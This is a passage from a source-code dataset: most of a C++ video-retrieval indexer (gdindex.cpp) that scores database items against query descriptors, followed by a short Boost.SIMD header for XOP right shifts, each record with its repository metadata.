gd_word_total_soft_assignment, indices, results);\n\t} else {\n\t\t// Using two-stage scoring\n\t\t// -- First stage\n\t\tvector<uint> indices_2_stages(index_.number_global_descriptors);\n\t\tfor (uint count = 0; count < index_.number_global_descriptors; count++) {\n\t\t\t// Include indices corresponding to shot numbers\n\t\t\tindices_2_stages.at(count) = count;\n\t\t}\n\t\tvector< pair<float,uint> > results_1st_stage;\n\t\tquery(gd_word_descriptor, gd_fv, gd_word_l1_norm,\n\t\t      gd_word_total_soft_assignment,\n\t\t      indices_2_stages, results_1st_stage);\n\n\t\t// -- Second stage\n\t\tvector<uint> gd_word_descriptor_rerank;\n\t\tvector<float> gd_fv_rerank;\n\t\tvector<float> gd_word_l1_norm_rerank, gd_word_total_soft_assignment_rerank;\n\t\tgdindex_ptr_rerank->generate_global_descriptor(&feat_set,\n\t\t        gd_word_descriptor_rerank,\n\t\t        gd_fv_rerank,\n\t\t        gd_word_l1_norm_rerank,\n\t\t        gd_word_total_soft_assignment_rerank);\n\t\tgdindex_ptr_rerank->query_2nd_stage(gd_word_descriptor_rerank,\n\t\t                                    gd_fv_rerank,\n\t\t                                    gd_word_l1_norm_rerank,\n\t\t                                    gd_word_total_soft_assignment_rerank,\n\t\t                                    number_2nd_stage_rerank,\n\t\t                                    group_lists_rerank,\n\t\t                                    results_1st_stage, results);\n\t}\n}\n\nvoid gdindex::set_index_parameters(const uint ld_length, const uint ld_frame_length,\n                                   const string ld_extension, const string ld_name,\n                                   const uint ld_pca_dim, const float ld_pre_pca_power,\n                                   const uint gd_number_gaussians, const float gd_power,\n                                   const bool gd_intra_normalization,\n                                   const bool gd_unbinarized,\n                                   const string trained_parameters_path,\n                                   const int verbose_level)\n{\n\t// Local descriptor information\n\tindex_parameters_.ld_length = ld_length;\n\tindex_parameters_.ld_frame_length = ld_frame_length;\n\tindex_parameters_.ld_extension = ld_extension;\n\tindex_parameters_.ld_name = ld_name;\n\n\t// Parameters for PCA-ing local descriptors\n\tindex_parameters_.ld_pca_dim = ld_pca_dim;\n\tindex_parameters_.ld_pre_pca_power = ld_pre_pca_power;\n\t// -- LD mean vector is stored in descriptor covariance file\n\tchar aux_mean_vector_path[1024];\n\tsprintf(aux_mean_vector_path, \"%s/%s.pre_alpha.%.2f.desc_covariance\",\n\t        trained_parameters_path.c_str(),\n\t        index_parameters_.ld_name.c_str(),\n\t        index_parameters_.ld_pre_pca_power);\n\tstring ld_mean_vector_path = aux_mean_vector_path;\n\tload_ld_mean_vector(ld_mean_vector_path);\n\n\tchar aux_ld_pca_eigenvectors[1024];\n\tsprintf(aux_ld_pca_eigenvectors, \"%s/%s.pre_alpha.%.2f.desc_eigenvectors\",\n\t        trained_parameters_path.c_str(),\n\t        index_parameters_.ld_name.c_str(),\n\t        index_parameters_.ld_pre_pca_power);\n\tstring ld_pca_eigenvectors_path = aux_ld_pca_eigenvectors;\n\tload_ld_pca_eigenvectors(ld_pca_eigenvectors_path);\n\n\t// Parameters used for global descriptor computation\n\tindex_parameters_.gd_number_gaussians = gd_number_gaussians;\n\tindex_parameters_.gd_power = gd_power;\n\tindex_parameters_.gd_intra_normalization = gd_intra_normalization;\n\tindex_parameters_.gd_unbinarized = gd_unbinarized;\n\n\tchar aux_gd_gmm[1024];\n\tsprintf(aux_gd_gmm, \"%s/%s.pre_alpha.%.2f.pca.%d.gmm.%d\",\n\t        trained_parameters_path.c_str(),\n\t        index_parameters_.ld_name.c_str(),\n\t        index_parameters_.ld_pre_pca_power,\n\t        index_parameters_.ld_pca_dim,\n\t        index_parameters_.gd_number_gaussians);\n\tstring gd_gmm_path = aux_gd_gmm;\n\tload_gd_gmm(gd_gmm_path);\n}\n\nvoid gdindex::set_query_parameters(const uint min_number_words_selected,\n                                   const int asym_scoring_mode,\n                                   const int word_selection_mode,\n                                   const float word_selection_thresh,\n                                   const float score_den_power_norm,\n                                   const string trained_parameters_path,\n                                   const int verbose_level)\n{\n\tquery_parameters_.min_number_words_selected = min_number_words_selected;\n\tquery_parameters_.asym_scoring_mode = asym_scoring_mode;\n\tquery_parameters_.word_selection_mode = word_selection_mode;\n\tquery_parameters_.word_selection_thresh = word_selection_thresh;\n\tquery_parameters_.score_den_power_norm = score_den_power_norm;\n\n\tchar aux_corr_weights[1024];\n\tsprintf(aux_corr_weights, \"%s/%s.pre_alpha.%.2f.pca.%d.gmm.%d.pre_alpha.%.2f.corr_weights\",\n\t        trained_parameters_path.c_str(),\n\t        index_parameters_.ld_name.c_str(),\n\t        index_parameters_.ld_pre_pca_power,\n\t        index_parameters_.ld_pca_dim,\n\t        index_parameters_.gd_number_gaussians,\n\t        index_parameters_.gd_power);\n\tstring corr_weights_path = aux_corr_weights;\n\tload_corr_weights(corr_weights_path);\n\n\t// Precompute pop-counts for fast executions\n\tquery_parameters_.pop_count[0] = 0;\n\tfor (int i = 1; i < 65536; i++) {\n\t\tquery_parameters_.pop_count[i] = query_parameters_.pop_count[i>>1] + (i&1);\n\t}\n}\n\n/********************************\nPRIVATE FUNCTIONS\n********************************/\n\nvoid gdindex::update_index()\n{\n\t// Update number of global descriptors stored\n\tif (index_parameters_.gd_unbinarized) {\n\t\tindex_.number_global_descriptors = index_.fv.size();\n\t} else {\n\t\tindex_.number_global_descriptors = index_.word_descriptor.size();\n\t}\n\n\t// Update variables that are useful during retrieval; they will be ready\n\t// to serve a query, if perform_query() is called\n\tindex_.number_words_selected.resize(index_.number_global_descriptors, 0);\n\tif (index_parameters_.gd_unbinarized) {\n\t\tindex_.word_l2_norms_sq.resize(index_.number_global_descriptors,\n\t\t                               vector<float>(index_parameters_.gd_number_gaussians,\n\t\t                                       0));\n\t}\n\tconst vector < vector < float > > *all_db_strengths;\n\tif (query_parameters_.word_selection_mode == WORD_L1_NORM) {\n\t\tall_db_strengths = &index_.word_l1_norms;\n\t} else {\n\t\tall_db_strengths = &index_.word_total_soft_assignment;\n\t}\n\tfor (uint count_elem = 0; count_elem < index_.number_global_descriptors;\n\t     count_elem++) {\n\t\t// -- Find number of words (Gaussians) selected for this database element\n\t\tfor (uint count_gaussian = 0;\n\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t     count_gaussian++) {\n\t\t\tif (query_parameters_.asym_scoring_mode == ASYM_OFF\n\t\t\t    || query_parameters_.asym_scoring_mode == ASYM_QAGS) {\n\t\t\t\tindex_.number_words_selected.at(count_elem)++;\n\t\t\t} else if (query_parameters_.asym_scoring_mode == ASYM_DAGS\n\t\t\t           || query_parameters_.asym_scoring_mode == ASYM_SGS) {\n\t\t\t\tif (all_db_strengths->at(count_elem).at(count_gaussian) >\n\t\t\t\t    query_parameters_.word_selection_thresh) {\n\t\t\t\t\tindex_.number_words_selected.at(count_elem)++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\tfor (uint d = 0; d < index_parameters_.ld_pca_dim; d++) {\n\t\t\t\t\tindex_.word_l2_norms_sq.at(count_elem).at(count_gaussian) +=\n\t\t\t\t\t    index_.fv.at(count_elem).at(count_gaussian*\n\t\t\t\t\t                                index_parameters_.ld_pca_dim\n\t\t\t\t\t                                + d)\n\t\t\t\t\t    *index_.fv.at(count_elem).at(count_gaussian*\n\t\t\t\t\t                                 index_parameters_.ld_pca_dim\n\t\t\t\t\t                                 + d);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid gdindex::sign_binarize(const vector<float>& gd_word_residuals,\n                            vector<uint>& gd_word_descriptor)\n{\n\tgd_word_descriptor.resize(index_parameters_.gd_number_gaussians);\n\tfor (uint count_gaussian = 0;\n\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t     count_gaussian++) {\n\t\tuint packed_block = 0;\n\t\tuint start = count_gaussian*index_parameters_.ld_pca_dim;\n\t\tuint end = (count_gaussian + 1)*index_parameters_.ld_pca_dim;\n\t\t// Sign binarize\n\t\tfor (uint count_dim = start; count_dim < end; count_dim++) {\n\t\t\tuint bit = (gd_word_residuals.at(count_dim) > 0) ? 1 : 0;\n\t\t\tPUSH_BIT(packed_block, bit);\n\t\t}\n\t\tgd_word_descriptor.at(count_gaussian) = packed_block;\n\t}\n}\n\nvoid gdindex::project_local_descriptor_pca(const float* desc, float* pca_desc)\n{\n\tvector < float > desc_pow(index_parameters_.ld_length, 0);\n\t// Pre power law and normalization\n\tfloat l2_norm_sq = 0;\n\tfor (uint count_in_dim = 0; count_in_dim < index_parameters_.ld_length; count_in_dim++) {\n\t\tPOWER_LAW(desc[count_in_dim], index_parameters_.ld_pre_pca_power,\n\t\t          desc_pow.at(count_in_dim));\n\t\tl2_norm_sq += desc_pow.at(count_in_dim) * desc_pow.at(count_in_dim);\n\t}\n\tfloat l2_norm = sqrt(l2_norm_sq);\n\tif (l2_norm > 0) {\n\t\tfor (uint count_in_dim = 0; count_in_dim < index_parameters_.ld_length; count_in_dim++) {\n\t\t\tdesc_pow.at(count_in_dim) /= l2_norm;\n\t\t}\n\t}\n\n\t// Projection onto eigenvectors\n\tfor (uint count_out_dim = 0; count_out_dim < index_parameters_.ld_pca_dim;\n\t     count_out_dim++) {\n\t\tpca_desc[count_out_dim] = 0;\n\t\tfor (uint count_in_dim = 0; count_in_dim < index_parameters_.ld_length;\n\t\t     count_in_dim++) {\n\t\t\tpca_desc[count_out_dim] +=\n\t\t\t    (desc_pow.at(count_in_dim) - index_parameters_.ld_mean_vector[count_in_dim])\n\t\t\t    * index_parameters_.ld_pca_eigenvectors.at(count_out_dim)[count_in_dim];\n\t\t}\n\t}\n}\n\nvoid gdindex::sample_frames_from_shot(const uint number_frames_out,\n                                      const uint first_frame,\n                                      const uint number_frames_this_shot,\n                                      vector<uint>& out_frames)\n{\n\t// Note: number_frames_this_shot must be bigger than number_frames_out\n\tout_frames.clear();\n\tif (number_frames_out == 1) {\n\t\tuint middle_frame = first_frame\n\t\t                    + static_cast<uint>(floor(static_cast<float>(number_frames_this_shot)/2));\n\t\tout_frames.push_back(middle_frame);\n\t} else {\n\t\tdouble rate_float = static_cast<double>(number_frames_this_shot)\n\t\t                    /static_cast<double>(number_frames_out);\n\t\tuint rate;\n\t\tif ((number_frames_this_shot % number_frames_out) == 0) {\n\t\t\trate = static_cast<uint>(rate_float);\n\t\t\tfor (uint count_sample = 0; count_sample < number_frames_this_shot;\n\t\t\t     count_sample += rate) {\n\t\t\t\tout_frames.push_back(first_frame + count_sample);\n\t\t\t}\n\t\t} else {\n\t\t\tif ((number_frames_out - 1)*static_cast<uint>(ceil(rate_float))\n\t\t\t    < number_frames_this_shot) {\n\t\t\t\trate = static_cast<uint>(ceil(rate_float));\n\t\t\t\tfor (uint count_sample = 0; count_sample < number_frames_this_shot;\n\t\t\t\t     count_sample += rate) {\n\t\t\t\t\tout_frames.push_back(first_frame + count_sample);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\trate = static_cast<uint>(floor(rate_float));\n\t\t\t\tvector<uint> out_frames_aux;\n\t\t\t\tfor (uint count_sample = 0; count_sample < number_frames_this_shot;\n\t\t\t\t     count_sample += rate) {\n\t\t\t\t\tout_frames_aux.push_back(first_frame + count_sample);\n\t\t\t\t}\n\t\t\t\tuint start_ind, end_ind;\n\t\t\t\tuint extra_frames = (out_frames_aux.size() - number_frames_out);\n\n\t\t\t\tif (extra_frames) {\n\t\t\t\t\t// In this case, we'll keep the middle ones, in order not to unbalance\n\t\t\t\t\t// the selection too much\n\t\t\t\t\tif (extra_frames % 2) {\n\t\t\t\t\t\t// Odd: keep one more at the beginning\n\t\t\t\t\t\tstart_ind = (extra_frames - 1)/2;\n\t\t\t\t\t\tend_ind = out_frames_aux.size() - 1\n\t\t\t\t\t\t          - static_cast<uint>(ceil((static_cast<double>(extra_frames)/2)));\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Even\n\t\t\t\t\t\tstart_ind = extra_frames/2;\n\t\t\t\t\t\tend_ind = out_frames_aux.size() - 1 - extra_frames/2;\n\t\t\t\t\t}\n\n\t\t\t\t\tfor (uint count_sample = start_ind; count_sample < end_ind + 1;\n\t\t\t\t\t     count_sample++) {\n\t\t\t\t\t\tout_frames.push_back(out_frames_aux.at(count_sample));\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tout_frames = out_frames_aux;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// Make sure we've collected the correct number\n\tassert(number_frames_out == out_frames.size());\n}\n\nvoid gdindex::score_database_item(const vector<uint>& query_word_descriptor,\n                                  const vector<float>& query_fv,\n                                  const vector<float>& query_word_l1_norm,\n                                  const vector<float>& query_word_total_soft_assignment,\n                                  const vector<float>& query_word_l2_norm_sq,\n                                  const uint db_ind,\n                                  float& score)\n{\n\t// Check that the database item has at least the minimum number of\n\t// selected words that we require; if not, just set it to FLT_MAX\n\tif (index_.number_words_selected.at(db_ind)\n\t    <= query_parameters_.min_number_words_selected) {\n\t\tscore = FLT_MAX;\n\t\treturn;\n\t}\n\n\t// Figure out parameters for asymmetric scoring\n\tconst vector<float> *q_strengths, *db_strengths;\n\tif (query_parameters_.word_selection_mode == WORD_L1_NORM) {\n\t\tq_strengths = &query_word_l1_norm;\n\t\tdb_strengths = &index_.word_l1_norms.at(db_ind);\n\t} else {\n\t\tq_strengths = &query_word_total_soft_assignment;\n\t\tdb_strengths = &index_.word_total_soft_assignment.at(db_ind);\n\t}\n\n\tfloat total_inner_product = 0;\n\tfloat query_norm_factor = 0;\n\tfloat db_norm_factor = 0;\n\tfloat qags_db_norm_factor = 0;\n\tfor (uint count_gaussian = 0;\n\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t     count_gaussian++) {\n\t\tbool use_curr_gaussian = false;\n\t\tif (query_parameters_.asym_scoring_mode == ASYM_OFF) {\n\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\tquery_norm_factor += query_word_l2_norm_sq.at(count_gaussian);\n\t\t\t\tdb_norm_factor += index_.word_l2_norms_sq.at(db_ind)\n\t\t\t\t                  .at(count_gaussian);\n\t\t\t} else {\n\t\t\t\tquery_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\tdb_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t}\n\t\t\tuse_curr_gaussian = true;\n\t\t} else if (query_parameters_.asym_scoring_mode == ASYM_QAGS) {\n\t\t\tif (q_strengths->at(count_gaussian) >\n\t\t\t    query_parameters_.word_selection_thresh) {\n\t\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t\tquery_norm_factor += query_word_l2_norm_sq.at(count_gaussian);\n\t\t\t\t\tdb_norm_factor += index_.word_l2_norms_sq.at(db_ind)\n\t\t\t\t\t                  .at(count_gaussian);\n\t\t\t\t} else {\n\t\t\t\t\tquery_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t\tdb_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t}\n\t\t\t\tuse_curr_gaussian = true;\n\t\t\t}\n\t\t\tif (db_strengths->at(count_gaussian) >\n\t\t\t    query_parameters_.word_selection_thresh) {\n\t\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t\tqags_db_norm_factor += index_.word_l2_norms_sq.at(db_ind)\n\t\t\t\t\t                       .at(count_gaussian);\n\t\t\t\t} else {\n\t\t\t\t\tqags_db_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (query_parameters_.asym_scoring_mode == ASYM_DAGS) {\n\t\t\tif (db_strengths->at(count_gaussian) >\n\t\t\t    query_parameters_.word_selection_thresh) {\n\t\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t\tquery_norm_factor += query_word_l2_norm_sq.at(count_gaussian);\n\t\t\t\t\tdb_norm_factor += index_.word_l2_norms_sq.at(db_ind)\n\t\t\t\t\t                  .at(count_gaussian);\n\t\t\t\t} else {\n\t\t\t\t\tquery_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t\tdb_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t}\n\t\t\t\tuse_curr_gaussian = true;\n\t\t\t}\n\t\t} else if (query_parameters_.asym_scoring_mode == ASYM_SGS) {\n\t\t\tif (q_strengths->at(count_gaussian) >\n\t\t\t    query_parameters_.word_selection_thresh) {\n\t\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t\tquery_norm_factor += query_word_l2_norm_sq.at(count_gaussian);\n\t\t\t\t} else {\n\t\t\t\t\tquery_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t}\n\t\t\t\tif (db_strengths->at(count_gaussian) >\n\t\t\t\t    query_parameters_.word_selection_thresh) {\n\t\t\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t\t\tdb_norm_factor += index_.word_l2_norms_sq.at(db_ind)\n\t\t\t\t\t\t                  .at(count_gaussian);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdb_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t\t}\n\t\t\t\t\tuse_curr_gaussian = true;\n\t\t\t\t}\n\t\t\t} else if (db_strengths->at(count_gaussian) >\n\t\t\t           query_parameters_.word_selection_thresh) {\n\t\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\t\tdb_norm_factor += index_.word_l2_norms_sq.at(db_ind)\n\t\t\t\t\t                  .at(count_gaussian);\n\t\t\t\t} else {\n\t\t\t\t\tdb_norm_factor += index_parameters_.ld_pca_dim;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (use_curr_gaussian) {\n\t\t\tif (index_parameters_.gd_unbinarized) {\n\t\t\t\tfor (uint d = count_gaussian*index_parameters_.ld_pca_dim;\n\t\t\t\t     d < (count_gaussian+1)*index_parameters_.ld_pca_dim;\n\t\t\t\t     d++) {\n\t\t\t\t\ttotal_inner_product += query_fv.at(d)\n\t\t\t\t\t                       *index_.fv.at(db_ind).at(d);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Compute Hamming distance\n\t\t\t\tuint aux = query_word_descriptor.at(count_gaussian)\n\t\t\t\t           ^ index_.word_descriptor.at(db_ind).at(count_gaussian);\n\t\t\t\tuint h = query_parameters_.pop_count[aux >> 16]\n\t\t\t\t         + query_parameters_.pop_count[aux & 65535];\n\t\t\t\t// Add to correlation\n\t\t\t\ttotal_inner_product += query_parameters_.fast_corr_weights[h];\n\t\t\t}\n\t\t}\n\t}\n\n\t// Compute final score, taking into account normalizations\n\tif (query_parameters_.asym_scoring_mode == ASYM_QAGS) {\n\t\tif (query_norm_factor != 0\n\t\t    && qags_db_norm_factor != 0\n\t\t    && db_norm_factor != 0) {\n\t\t\tfloat score_den = pow(query_norm_factor*db_norm_factor,\n\t\t\t                      0.5);\n\t\t\ttotal_inner_product /= score_den;\n\t\t\ttotal_inner_product *= pow(qags_db_norm_factor,\n\t\t\t                           0.5 - query_parameters_.score_den_power_norm);\n\t\t} else {\n\t\t\ttotal_inner_product = -FLT_MAX;\n\t\t}\n\t} else {\n\t\tif (query_norm_factor != 0\n\t\t    && db_norm_factor != 0) {\n\t\t\tfloat score_den = pow(query_norm_factor*db_norm_factor,\n\t\t\t                      query_parameters_.score_den_power_norm);\n\t\t\ttotal_inner_product /= score_den;\n\t\t} else {\n\t\t\ttotal_inner_product = -FLT_MAX;\n\t\t}\n\t}\n\n\t// Change sign such that smaller is better\n\tscore = -total_inner_product;\n}\n\nvoid gdindex::query(const vector<uint>& query_word_descriptor,\n                    const vector<float>& query_fv,\n                    const vector<float>& query_word_l1_norm,\n                    const vector<float>& query_word_total_soft_assignment,\n                    const vector<uint>& database_indices,\n                    vector< pair<float,uint> >& database_scores_indices)\n{\n\tassert(index_.number_global_descriptors == database_indices.size());\n\t// Resize vector that will be passed back\n\tdatabase_scores_indices.resize(index_.number_global_descriptors);\n\n\t// If using FV, compute per-Gaussian L2 norm\n\tvector<float> query_word_l2_norm_sq(index_parameters_.gd_number_gaussians, 0);\n\tif (index_parameters_.gd_unbinarized) {\n\t\tfor (uint count_gaussian = 0;\n\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t     count_gaussian++) {\n\t\t\tfor (uint d = count_gaussian*index_parameters_.ld_pca_dim;\n\t\t\t     d < (count_gaussian+1)*index_parameters_.ld_pca_dim;\n\t\t\t     d++) {\n\t\t\t\tquery_word_l2_norm_sq.at(count_gaussian) +=\n\t\t\t\t    query_fv.at(d)*query_fv.at(d);\n\t\t\t}\n\t\t}\n\t}\n\n\t// Loop over database items and get their scores\n\tfor (uint count_elem = 0; count_elem < index_.number_global_descriptors;\n\t     count_elem++) {\n\t\tuint number_item = database_indices.at(count_elem);\n\t\tdatabase_scores_indices.at(count_elem).second = number_item;\n\n\t\tscore_database_item(query_word_descriptor,\n\t\t                    query_fv,\n\t\t                    query_word_l1_norm,\n\t\t                    query_word_total_soft_assignment,\n\t\t                    query_word_l2_norm_sq,\n\t\t                    count_elem,\n\t\t                    database_scores_indices.at(count_elem).first);\n\t}\n\t// Sort scores\n\tsort(database_scores_indices.begin(), database_scores_indices.end(),\n\t     cmp_float_uint_ascend);\n}\n\nvoid gdindex::query_2nd_stage(const vector<uint>& query_word_descriptor,\n                              const vector<float>& query_fv,\n                              const vector<float>& query_word_l1_norm,\n                              const vector<float>& query_word_total_soft_assignment,\n                              const uint number_2nd_stage_rerank,\n                              const vector < vector < uint > >& group_lists_rerank,\n                              const vector< pair<float,uint> >& first_stage_scores_indices,\n                              vector< pair<float,uint> >& database_scores_indices)\n{\n\t// Resize vector that will be passed back\n\tdatabase_scores_indices.clear();\n\n\t// If using FV, compute per-Gaussian L2 norm\n\tvector<float> query_word_l2_norm_sq(index_parameters_.gd_number_gaussians, 0);\n\tif (index_parameters_.gd_unbinarized) {\n\t\tfor (uint count_gaussian = 0;\n\t\t     count_gaussian < index_parameters_.gd_number_gaussians;\n\t\t     count_gaussian++) {\n\t\t\tfor (uint d = count_gaussian*index_parameters_.ld_pca_dim;\n\t\t\t     d < (count_gaussian+1)*index_parameters_.ld_pca_dim;\n\t\t\t     d++) {\n\t\t\t\tquery_word_l2_norm_sq.at(count_gaussian) +=\n\t\t\t\t    query_fv.at(d)*query_fv.at(d);\n\t\t\t}\n\t\t}\n\t}\n\n\t// Figure out number of first stage items (groups) to re-rank\n\tuint number_rerank = min(number_2nd_stage_rerank,\n\t                         static_cast<uint>(first_stage_scores_indices.size()));\n\n\t// Loop over top number_rerank items from first stage and get score\n\t// of the constituent second stage items\n\tfor (uint count_top = 0; count_top < number_rerank;\n\t     count_top++) {\n\t\tuint this_group_ind = first_stage_scores_indices.at(count_top).second;\n\n\t\t// Get number of 2nd stage items in this group\n\t\tuint number_items_this_group = group_lists_rerank.at(this_group_ind).size();\n\n\t\t// Loop over 2nd stage items in this group, get their signatures and score them\n\t\tfor (uint count_item = 0; count_item < number_items_this_group;\n\t\t     count_item++) {\n\t\t\tuint this_item_number = group_lists_rerank.at(this_group_ind).at(count_item);\n\t\t\tpair < float, uint > score_this_item;\n\t\t\tscore_this_item.second = this_item_number;\n\n\t\t\tscore_database_item(query_word_descriptor,\n\t\t\t                    query_fv,\n\t\t\t                    query_word_l1_norm,\n\t\t\t                    query_word_total_soft_assignment,\n\t\t\t                    query_word_l2_norm_sq,\n\t\t\t                    this_item_number,\n\t\t\t                    score_this_item.first);\n\t\t\tdatabase_scores_indices.push_back(score_this_item);\n\t\t}\n\t}\n\t// Sort scores\n\tsort(database_scores_indices.begin(), database_scores_indices.end(),\n\t     cmp_float_uint_ascend);\n}\n\nvoid gdindex::load_ld_mean_vector(string path)\n{\n\tFILE* mv_file = fopen(path.c_str(), \"rb\");\n\tif (mv_file == nullptr) {\n\t\tprintf(\"gdindex::load_ld_mean_vector: Error opening: \\n%s \\n\", path.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\tindex_parameters_.ld_mean_vector = new float[index_parameters_.ld_length];\n\tfread(index_parameters_.ld_mean_vector, sizeof(float),\n\t      index_parameters_.ld_length, mv_file);\n\tfclose(mv_file);\n}\n\nvoid gdindex::load_ld_pca_eigenvectors(string path)\n{\n\tFILE* eig_file = fopen(path.c_str(), \"rb\");\n\tif (eig_file == nullptr) {\n\t\tprintf(\"gdindex::load_ld_pca_eigenvectors: Error opening: \\n%s \\n\", path.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\tindex_parameters_.ld_pca_eigenvectors.resize(index_parameters_.ld_length, nullptr);\n\tfor (uint n = 0; n < index_parameters_.ld_length; n++) {\n\t\tindex_parameters_.ld_pca_eigenvectors.at(n)\n\t\t    = new float[index_parameters_.ld_length];\n\t\tfread(index_parameters_.ld_pca_eigenvectors.at(n), sizeof(float),\n\t\t      index_parameters_.ld_length, eig_file);\n\t}\n\tfclose(eig_file);\n}\n\nvoid gdindex::load_gd_gmm(string path)\n{\n\tFILE* gmm_file = fopen(path.c_str(), \"rb\");\n\tif (gmm_file == nullptr) {\n\t\tprintf(\"gdindex::load_gd_gmm: Error opening: \\n%s \\n\", path.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\tindex_parameters_.gd_gmm = gmm_read(gmm_file);\n\tfclose(gmm_file);\n}\n\nvoid gdindex::load_corr_weights(string path)\n{\n\tFILE* cw_file = fopen(path.c_str(), \"rb\");\n\tif (cw_file == nullptr) {\n\t\tprintf(\"gdindex::load_corr_weights: Error opening: \\n%s \\n\", path.c_str());\n\t\texit(EXIT_FAILURE);\n\t}\n\tfloat* weights = new float[index_parameters_.ld_pca_dim + 1];\n\tfread(weights, sizeof(float), index_parameters_.ld_pca_dim + 1,\n\t      cw_file);\n\tfclose(cw_file);\n\n\t// Build fast_corr_weights\n\tquery_parameters_.fast_corr_weights = new float[index_parameters_.ld_pca_dim + 1];\n\t// -- initialize them to zero\n\tfor (uint i = 0; i < index_parameters_.ld_pca_dim + 1; i++) {\n\t\tquery_parameters_.fast_corr_weights[i] = 0;\n\t}\n\n\tfor (uint count_bin = 0; count_bin < index_parameters_.ld_pca_dim + 1; count_bin++) {\n\t\tfloat prob = weights[index_parameters_.ld_pca_dim - count_bin]/2.0; // normalize to 1\n\t\tfloat corr = index_parameters_.ld_pca_dim - 2*count_bin;\n\t\tif (count_bin < CORR_WEIGHTS_CLIPPING) {\n\t\t\tquery_parameters_.fast_corr_weights[count_bin] = prob * corr;\n\t\t}\n\t}\n\n\t// Clean up\n\tif (weights != nullptr) {\n\t\tdelete [] weights;\n\t\tweights = nullptr;\n\t}\n}\n\n}\n} /* namespace vrs */\n", "meta": {"hexsha": "6b4361fe1a9267e3666795f1199570a79355b5d6", "size": 58407, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "base_engine/src/components/indexer/global_descriptor/gdindex.cpp", "max_stars_repo_name": "AiPratice/VideoAnalysisEngine", "max_stars_repo_head_hexsha": "e6aa67e5b0d08d6b3ae1b63988982ef31e60bf7a", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 23.0, "max_stars_repo_stars_event_min_datetime": "2018-09-12T10:04:32.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-13T12:07:53.000Z", "max_issues_repo_path": "base_engine/src/components/indexer/global_descriptor/gdindex.cpp", "max_issues_repo_name": "AiPratice/VideoAnalysisTool", "max_issues_repo_head_hexsha": "e6aa67e5b0d08d6b3ae1b63988982ef31e60bf7a", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2021-03-24T03:37:28.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-24T03:37:28.000Z", "max_forks_repo_path": "base_engine/src/components/indexer/global_descriptor/gdindex.cpp", "max_forks_repo_name": "AiPratice/VideoAnalysisTool", "max_forks_repo_head_hexsha": "e6aa67e5b0d08d6b3ae1b63988982ef31e60bf7a", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 12.0, "max_forks_repo_forks_event_min_datetime": "2018-09-12T10:04:33.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-20T12:47:07.000Z", "avg_line_length": 38.6034368804, "max_line_length": 139, "alphanum_fraction": 0.6799698666, "num_tokens": 14186, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5039061705290805, "lm_q2_score": 0.2942149783515162, "lm_q1q2_score": 0.14825674305340886}}
{"text": "//==================================================================================================\n/**\n  Copyright 2016 NumScale SAS\n\n  Distributed under the Boost Software License, Version 1.0.\n  (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)\n**/\n//==================================================================================================\n#ifndef BOOST_SIMD_ARCH_X86_XOP_SIMD_FUNCTION_SHIFT_RIGHT_HPP_INCLUDED\n#define BOOST_SIMD_ARCH_X86_XOP_SIMD_FUNCTION_SHIFT_RIGHT_HPP_INCLUDED\n\n#include <boost/simd/detail/overload.hpp>\n#include <boost/simd/detail/assert_utils.hpp>\n#include <boost/simd/function/rshr.hpp>\n\n#if BOOST_HW_SIMD_X86_AMD_XOP\nnamespace boost { namespace simd { namespace ext\n{\n  namespace bd = boost::dispatch;\n  namespace bs = boost::simd;\n\n  BOOST_DISPATCH_OVERLOAD_IF( shift_right_\n                            , (typename A0, typename A1)\n                            , (brigand::bool_<A0::static_size == A1::static_size>)\n                            , bs::avx_\n                            , bs::pack_< bd::integer_<A0>, bs::sse_>\n                            , bs::pack_< bd::integer_<A1>, bs::sse_>\n                            )\n  {\n    BOOST_FORCEINLINE A0 operator()(A0 const& a0,A1 const& a1) const\n    {\n      BOOST_ASSERT_MSG( assert_good_shift<A0>(a1)\n                      , \"boost::simd::shift_right: shift value is out of range\"\n                      );\n\n      return rshr(a0,a1);\n    }\n  };\n} } }\n#endif\n\n#endif\n", "meta": {"hexsha": 